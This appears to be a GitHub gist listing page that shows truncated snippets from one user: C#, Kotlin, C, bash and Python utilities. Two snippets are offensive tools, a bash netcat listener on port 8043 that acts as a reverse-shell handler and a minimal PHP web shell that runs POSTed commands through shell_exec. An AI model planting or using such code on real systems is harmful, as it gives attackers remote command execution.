This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Runtime.InteropServices; | |
using SFML.Window; | |
namespace KH | |
{ | |
/* | |
**IMPORTANT NOTE** | |
this only works if called in a thread which also receives window updates | |
(for example if you call SFMLs RenderWindow.DispatchEvent's function, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static bool GetClickClock() | |
{ | |
const uint getMouseCl = 0x101E; | |
bool res = true; | |
uint time = 0; | |
if(!PInvoke.SystemParametersInfo(getMouseCl, time, ref res, 0)) | |
{ | |
throw new Win32Exception(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package net.downloadpizza.cautil.matrix | |
typealias Matrix<T> = List<List<T>> | |
inline fun <T> readMatrix(height: Int, delimeter: String = " ", convert: (String) -> T): Matrix<T> = | |
List(height) { readLine()!!.split(delimeter).map(convert) } | |
fun readIntMatrix(height: Int, delimeter: String = " "): Matrix<Int> = | |
readMatrix(height, delimeter, String::toInt) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
01100100 | |
01100001 | |
01110100 | |
01100001 | |
01100100 | |
01100001 | |
01110100 | |
01100001 | |
01100100 | |
01100001 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
int main(void) { | |
char* copypasta = "\ | |
My name is Yoshikage Kira. I'm 33 years old. My house is in the northeast section of Morioh, where all the villas are, and I am not married. I work as an employee for the Kame Yu department stores, and I get home every day by 8 PM at the latest. I don't smoke, but I occasionally drink.\n\ | |
I'm in bed by 11 PM, and make sure I get eight hours of sleep, no matter what. After having a glass of warm milk and doing about twenty minutes of stretches before going to bed, I usually have no problems sleeping until morning. Just like a baby, I wake up without any fatigue or stress in the morning. I was told there were no issues at my last check-up.\n\ | |
I'm trying to explain that I'm a person who wishes to live a very quiet life. I take care not to trouble myself with any enemies, like winning and losing, that would cause me to lose sleep at night. That is how I deal with society, and I know that is what brings me happiness. Although, if I were to fight I wouldn |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
trap t_exit INT | |
function t_exit() { | |
read -p "Exit? y/N: " ext | |
if [[ "y" = "$ext" ]];then | |
exit 1 | |
fi | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
if [[ $1 = "--exit" ]] | |
then | |
echo "exiting..." | |
echo "ps powershell | kill"|nc -lp 8043 | |
echo "done" | |
exit 1 | |
fi | |
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form method="post" action=""> | |
<input type="text" name="cmd" placeholder="command..."></input> | |
<input type="submit"></input> | |
</form> | |
<?php | |
echo "$"; | |
echo htmlspecialchars(shell_exec($_POST['cmd'])); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
def fsum(ls,rs): | |
for a in range(0,len(ls)): | |
for b in range(a, len(ls)): | |
for c in range(b, len(ls)): | |
for d in range(c, len(ls)): | |
if ls[a]+ls[b]+ls[c]+ls[d]==rs: | |
return [a,b,c,d] |